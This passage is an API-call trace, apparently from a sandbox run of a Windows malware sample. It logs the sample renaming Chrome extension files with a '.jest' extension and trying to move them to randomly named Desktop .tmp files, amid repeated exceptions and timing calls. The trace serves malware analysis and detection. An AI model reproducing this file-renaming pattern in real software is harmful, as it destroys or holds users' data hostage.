lpWideCharStr=0x0) returned 7 [0150.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.355] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.356] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.jest")) returned 1 [0150.358] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css", lpFilePart=0x18e6d8*="feedback.css") returned 0x93 [0150.358] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x6000006, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439850, ftLastAccessTime.dwLowDateTime=0x144dfb0, ftLastAccessTime.dwHighDateTime=0x1438f78, ftLastWriteTime.dwLowDateTime=0x30, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.358] GetLastError () returned 0x2 [0150.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.358] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.359] VarBstrFromR4 (in: fltIn=0x47945005, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.04") returned 0x0 [0150.359] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.359] CoFreeUnusedLibraries () [0150.359] GetTickCount () returned 0x11575cc [0150.359] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.359] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.359] GetTickCount () returned 0x11575cc [0150.359] IsWindowVisible (hWnd=0x30268) returned 0 [0150.359] Sleep (dwMilliseconds=0x0) [0150.360] GetFullPathNameA (in: lpFileName="U4G1VOhZpX0xg3ZUBdHKI4umr682gjTnO7JdEFqGJ344o9pgScJZHG751OrAiBza0ogjtE7tcWa_3072PGj-_1 QLY4KFRxMCrL_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U4G1VOhZpX0xg3ZUBdHKI4umr682gjTnO7JdEFqGJ344o9pgScJZHG751OrAiBza0ogjtE7tcWa_3072PGj-_1 QLY4KFRxMCrL_.tmp", lpFilePart=0x18e708*="U4G1VOhZpX0xg3ZUBdHKI4umr682gjTnO7JdEFqGJ344o9pgScJZHG751OrAiBza0ogjtE7tcWa_3072PGj-_1 QLY4KFRxMCrL_.tmp") returned 0x8e [0150.360] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css", lpFilePart=0x18e708*="feedback.css") returned 0x93 [0150.361] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U4G1VOhZpX0xg3ZUBdHKI4umr682gjTnO7JdEFqGJ344o9pgScJZHG751OrAiBza0ogjtE7tcWa_3072PGj-_1 QLY4KFRxMCrL_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u4g1vohzpx0xg3zubdhki4umr682gjtno7jdefqgj344o9pgscjzhg751oraibza0ogjte7tcwa_3072pgj-_1 qly4kfrxmcrl_.tmp")) returned 0 [0150.361] GetLastError () returned 0x2 [0150.361] GetLastError () returned 0x2 [0150.361] SetLastError (dwErrCode=0x2) [0150.361] GetLastError () returned 0x2 [0150.361] SetLastError (dwErrCode=0x2) [0150.361] GetLastError () returned 0x2 [0150.361] SetLastError (dwErrCode=0x2) [0150.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.361] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.362] GetFullPathNameA (in: lpFileName="U4G1VOhZpX0xg3ZUBdHKI4umr682gjTnO7JdEFqGJ344o9pgScJZHG751OrAiBza0ogjtE7tcWa_3072PGj-_1 QLY4KFRxMCrL_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U4G1VOhZpX0xg3ZUBdHKI4umr682gjTnO7JdEFqGJ344o9pgScJZHG751OrAiBza0ogjtE7tcWa_3072PGj-_1 QLY4KFRxMCrL_.tmp", lpFilePart=0x18e6e4*="U4G1VOhZpX0xg3ZUBdHKI4umr682gjTnO7JdEFqGJ344o9pgScJZHG751OrAiBza0ogjtE7tcWa_3072PGj-_1 QLY4KFRxMCrL_.tmp") returned 0x8e [0150.362] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U4G1VOhZpX0xg3ZUBdHKI4umr682gjTnO7JdEFqGJ344o9pgScJZHG751OrAiBza0ogjtE7tcWa_3072PGj-_1 QLY4KFRxMCrL_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x31473455, cFileName="VOhZpX0xg3ZUBdHKI4umr682gjTnO7JdEFqGJ344o9pgScJZHG751OrAiBza0ogjtE7tcWa_3072PGj-_1 QLY4KFRxMCrL_.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.362] GetLastError () returned 0x2 [0150.362] GetLastError () returned 0x2 [0150.362] SetLastError (dwErrCode=0x2) [0150.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.362] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.363] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.363] CoFreeUnusedLibraries () [0150.363] GetTickCount () returned 0x11575dc [0150.363] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.363] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.363] GetTickCount () returned 0x11575dc [0150.363] IsWindowVisible (hWnd=0x30268) returned 0 [0150.363] Sleep (dwMilliseconds=0x0) [0150.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.364] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.364] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.jest")) returned 1 [0150.365] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html", lpFilePart=0x18e6d8*="feedback.html") returned 0x94 [0150.365] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x6000006, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439850, ftLastAccessTime.dwLowDateTime=0x144dfb0, ftLastAccessTime.dwHighDateTime=0x1438f78, ftLastWriteTime.dwLowDateTime=0x30, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.366] GetLastError () returned 0x2 [0150.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.366] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.366] VarBstrFromR4 (in: fltIn=0x47945007, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.05") returned 0x0 [0150.367] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.367] CoFreeUnusedLibraries () [0150.367] GetTickCount () returned 0x11575dc [0150.367] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.367] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.367] GetTickCount () returned 0x11575dc [0150.367] IsWindowVisible (hWnd=0x30268) returned 0 [0150.367] Sleep (dwMilliseconds=0x0) [0150.368] GetFullPathNameA (in: lpFileName="ni4KHcxi4WDQEF8FijYcnQo-ZogSp9PwzOZlAJm9ids19dQaFm_65o7-GFvK2g-qSb6x_tv5r73kPqSAMbYmGsSIgxXW83gMn9t11.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ni4KHcxi4WDQEF8FijYcnQo-ZogSp9PwzOZlAJm9ids19dQaFm_65o7-GFvK2g-qSb6x_tv5r73kPqSAMbYmGsSIgxXW83gMn9t11.tmp", lpFilePart=0x18e708*="ni4KHcxi4WDQEF8FijYcnQo-ZogSp9PwzOZlAJm9ids19dQaFm_65o7-GFvK2g-qSb6x_tv5r73kPqSAMbYmGsSIgxXW83gMn9t11.tmp") returned 0x8f [0150.368] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html", lpFilePart=0x18e708*="feedback.html") returned 0x94 [0150.368] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ni4KHcxi4WDQEF8FijYcnQo-ZogSp9PwzOZlAJm9ids19dQaFm_65o7-GFvK2g-qSb6x_tv5r73kPqSAMbYmGsSIgxXW83gMn9t11.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ni4khcxi4wdqef8fijycnqo-zogsp9pwzozlajm9ids19dqafm_65o7-gfvk2g-qsb6x_tv5r73kpqsambymgssigxxw83gmn9t11.tmp")) returned 0 [0150.368] GetLastError () returned 0x2 [0150.369] GetLastError () returned 0x2 [0150.369] SetLastError (dwErrCode=0x2) [0150.369] GetLastError () returned 0x2 [0150.369] SetLastError (dwErrCode=0x2) [0150.369] GetLastError () returned 0x2 [0150.369] SetLastError (dwErrCode=0x2) [0150.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.369] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.369] GetFullPathNameA (in: lpFileName="ni4KHcxi4WDQEF8FijYcnQo-ZogSp9PwzOZlAJm9ids19dQaFm_65o7-GFvK2g-qSb6x_tv5r73kPqSAMbYmGsSIgxXW83gMn9t11.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ni4KHcxi4WDQEF8FijYcnQo-ZogSp9PwzOZlAJm9ids19dQaFm_65o7-GFvK2g-qSb6x_tv5r73kPqSAMbYmGsSIgxXW83gMn9t11.tmp", lpFilePart=0x18e6e4*="ni4KHcxi4WDQEF8FijYcnQo-ZogSp9PwzOZlAJm9ids19dQaFm_65o7-GFvK2g-qSb6x_tv5r73kPqSAMbYmGsSIgxXW83gMn9t11.tmp") returned 0x8f [0150.369] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ni4KHcxi4WDQEF8FijYcnQo-ZogSp9PwzOZlAJm9ids19dQaFm_65o7-GFvK2g-qSb6x_tv5r73kPqSAMbYmGsSIgxXW83gMn9t11.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4b34696e, cFileName="Hcxi4WDQEF8FijYcnQo-ZogSp9PwzOZlAJm9ids19dQaFm_65o7-GFvK2g-qSb6x_tv5r73kPqSAMbYmGsSIgxXW83gMn9t11.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.370] GetLastError () returned 0x2 [0150.370] GetLastError () returned 0x2 [0150.370] SetLastError (dwErrCode=0x2) [0150.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.370] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.371] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.371] CoFreeUnusedLibraries () [0150.371] GetTickCount () returned 0x11575dc [0150.371] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.371] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.371] GetTickCount () returned 0x11575dc [0150.371] IsWindowVisible (hWnd=0x30268) returned 0 [0150.371] Sleep (dwMilliseconds=0x0) [0150.371] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.372] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.372] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.jest")) returned 1 [0150.373] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css", lpFilePart=0x18e6d8*="material_css_min.css") returned 0x9b [0150.373] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xc00000c, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c978, ftLastAccessTime.dwLowDateTime=0x14d6e00, ftLastAccessTime.dwHighDateTime=0x14469f8, ftLastWriteTime.dwLowDateTime=0x60, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.373] GetLastError () returned 0x2 [0150.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.373] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.374] VarBstrFromR4 (in: fltIn=0x47945007, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.05") returned 0x0 [0150.374] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.374] CoFreeUnusedLibraries () [0150.374] GetTickCount () returned 0x11575dc [0150.374] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.374] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.374] GetTickCount () returned 0x11575dc [0150.375] IsWindowVisible (hWnd=0x30268) returned 0 [0150.375] Sleep (dwMilliseconds=0x0) [0150.375] GetFullPathNameA (in: lpFileName="IV35ecBW4X8KWVEHTLL975z284SyeloKVTTW34KJF3zJ_drLIxy1geFeHqBT20rMlURhXKYALcqgb--FxV3LANimkwCiQP1ODFrQ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IV35ecBW4X8KWVEHTLL975z284SyeloKVTTW34KJF3zJ_drLIxy1geFeHqBT20rMlURhXKYALcqgb--FxV3LANimkwCiQP1ODFrQ.tmp", lpFilePart=0x18e708*="IV35ecBW4X8KWVEHTLL975z284SyeloKVTTW34KJF3zJ_drLIxy1geFeHqBT20rMlURhXKYALcqgb--FxV3LANimkwCiQP1ODFrQ.tmp") returned 0x8e [0150.375] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css", lpFilePart=0x18e708*="material_css_min.css") returned 0x9b [0150.376] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IV35ecBW4X8KWVEHTLL975z284SyeloKVTTW34KJF3zJ_drLIxy1geFeHqBT20rMlURhXKYALcqgb--FxV3LANimkwCiQP1ODFrQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iv35ecbw4x8kwvehtll975z284syelokvttw34kjf3zj_drlixy1gefehqbt20rmlurhxkyalcqgb--fxv3lanimkwciqp1odfrq.tmp")) returned 0 [0150.376] GetLastError () returned 0x2 [0150.376] GetLastError () returned 0x2 [0150.376] SetLastError (dwErrCode=0x2) [0150.376] GetLastError () returned 0x2 [0150.376] SetLastError (dwErrCode=0x2) [0150.376] GetLastError () returned 0x2 [0150.376] SetLastError (dwErrCode=0x2) [0150.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.376] 